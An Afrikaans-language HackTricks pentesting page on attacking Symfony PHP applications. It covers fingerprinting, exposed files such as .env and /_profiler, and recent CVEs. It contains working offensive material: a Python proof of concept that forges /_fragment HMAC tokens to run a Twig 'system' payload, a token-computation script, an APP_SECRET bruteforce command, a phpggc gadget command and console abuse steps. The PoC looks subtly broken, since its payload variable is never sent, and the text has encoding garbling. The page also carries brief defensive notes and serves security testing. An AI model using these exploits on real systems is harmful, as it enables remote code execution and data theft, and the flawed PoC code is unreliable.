Symfony
Reading time: 6 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Symfony is een van die mees gebruikte PHP-raamwerke en verskyn gereeld in assesserings van ondernemings, e-handel en CMS-teikens (Drupal, Shopware, Ibexa, OroCRM ⊠almal inkorporeer Symfony-komponente). Hierdie bladsy versamel offensiewe wenke, algemene mis-konfigurasies en onlangse kwesbaarhede wat jy op jou kontrolelys moet hĂȘ wanneer jy 'n Symfony-toepassing ontdek.
Historiese nota: 'n Groot deel van die ekosisteem loop steeds die 5.4 LTS tak (EOL November 2025). Verifieer altyd die presiese klein weergawe omdat baie 2023-2025 sekuriteitsadvies slegs in patch-vrystellings reggestel is (bv. 5.4.46 â 5.4.50).
Recon & Enumeration
Finger-printing
- HTTP-responskoptekste:
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
of koekies wat begin metsf_redirect
,sf_session
,MOCKSESSID
. - Bronkode lekkasies (
composer.json
,composer.lock
,/vendor/âŠ
) onthul dikwels die presiese weergawe:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Publieke roetes wat slegs op Symfony bestaan:
/_profiler
(Symfony Profiler & debug toolbar)/_wdt/<token>
(âWeb Debug Toolbarâ)/_error/{code}.{_format}
(mooi foutbladsye)/app_dev.php
,/config.php
,/config_dev.php
(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith of ffuf/feroxbuster woordlyste:
symfony.txt
â soek vir/_fragment
,/_profiler
,.env
,.htaccess
.
Interessante lĂȘers & eindpunte
Pad | Waarom dit belangrik is |
---|---|
/.env , /.env.local , /.env.prod | Gereeld verkeerd ontplooi â lek APP_SECRET , DB krediete, SMTP, AWS sleutels |
/.git , .svn , .hg | Bronontdekking â krediete + besigheidslogika |
/var/log/*.log , /log/dev.log | Web-root mis-konfigurasie stel stap-spore bloot |
/_profiler | Volledige versoekgeskiedenis, konfigurasie, dienshouer, APP_SECRET (†3.4) |
/_fragment | Toegangspunt gebruik deur ESI/HInclude. Misbruik moontlik sodra jy APP_SECRET ken |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE as dit toeganklik is (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & soms lek uitsondering spore |
Hoë-impak Kwesbaarhede (2023-2025)
1. APP_SECRET lekkasie â RCE via /_fragment
(ook bekend as âsecret-fragmentâ)
- CVE-2019-18889 oorspronklik, maar nog steeds op moderne teikens wanneer debug aangeskakel bly of
.env
blootgestel is. - Sodra jy die 32-karakter
APP_SECRET
ken, stel 'n HMAC-token op en misbruik die internerender()
kontroller om arbitrĂȘre Twig uit te voer:
# PoC â vereis die geheim
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeefâŠ')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Uitstekende skrywe en uitbuitingskrip: Ambionics blog (verbind in Verwysings).
2. Windows Proses Hijack â CVE-2024-51736
- Die
Process
komponent het die huidige werksgids voorPATH
op Windows gesoek. 'n Aanvaller wat in staat is omtar.exe
,cmd.exe
, ens. in 'n skryfbare web-root op te laai enProcess
te aktiveer (bv. lĂȘeronttrekking, PDF-generasie) verkry opdraguitvoering. - Gepatch in 5.4.50, 6.4.14, 7.1.7.
3. Sessie-Fiksasie â CVE-2023-46733
- Die outentikasie wag het 'n bestaande sessie-ID hergebruik na aanmelding. As 'n aanvaller die koekie voor die slagoffer outentiseer, steel hulle die rekening na aanmelding.
4. Twig sandbox XSS â CVE-2023-46734
- In toepassings wat gebruikersbeheerde sjablone blootstel (admin CMS, e-pos bouer) kan die
nl2br
filter misbruik word om die sandbox te omseil en JS in te voeg.
5. Symfony 1 gadget kettings (nog steeds in erfenistoepassings gevind)
phpggc symfony/1 system id
produseer 'n Phar payload wat RCE aktiveer wanneer 'n unserialize() op klasse soossfNamespacedParameterHolder
gebeur. Kontroleer lĂȘer-oplaai eindpunte enphar://
wrappers.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Bereken HMAC-token vir /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef⊠"template=@App/evil&filter=raw&_format=html"
Bruteforce swak APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
As bin/console
bereikbaar is deur php-fpm
of direkte CLI opgelaai:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Gebruik deserialisering gadgets binne die kasgids of skryf 'n kwaadwillige Twig-sjabloon wat op die volgende versoek uitgevoer sal word.
Verdedigende notas
- Moet nooit debug ontplooi (
APP_ENV=dev
,APP_DEBUG=1
) na produksie nie; blokkeer/app_dev.php
,/_profiler
,/_wdt
in die web-bediener konfigurasie. - Stoor geheime in omgewingsveranderlikes of
vault/secrets.local.php
, nooit in lĂȘers wat deur die dokument-wortel toeganklik is. - Handhaaf patch bestuur â teken in op Symfony sekuriteitsadvies en hou ten minste die LTS patch-vlak.
- As jy op Windows loop, werk onmiddellik op om CVE-2024-51736 te verminder of voeg 'n
open_basedir
/disable_functions
verdediging-in-diepte by.
Nuttige offensiewe gereedskap
- ambionics/symfony-exploits â geheim-fragment RCE, debugger roetes ontdekking.
- phpggc â Klaar-gemaakte gadget kettings vir Symfony 1 & 2.
- sf-encoder â klein helper om
_fragment
HMAC te bereken (Go implementasie).
Verwysings
- Ambionics â Symfony âsecret-fragmentâ Remote Code Execution
- Symfony Security Advisory â CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.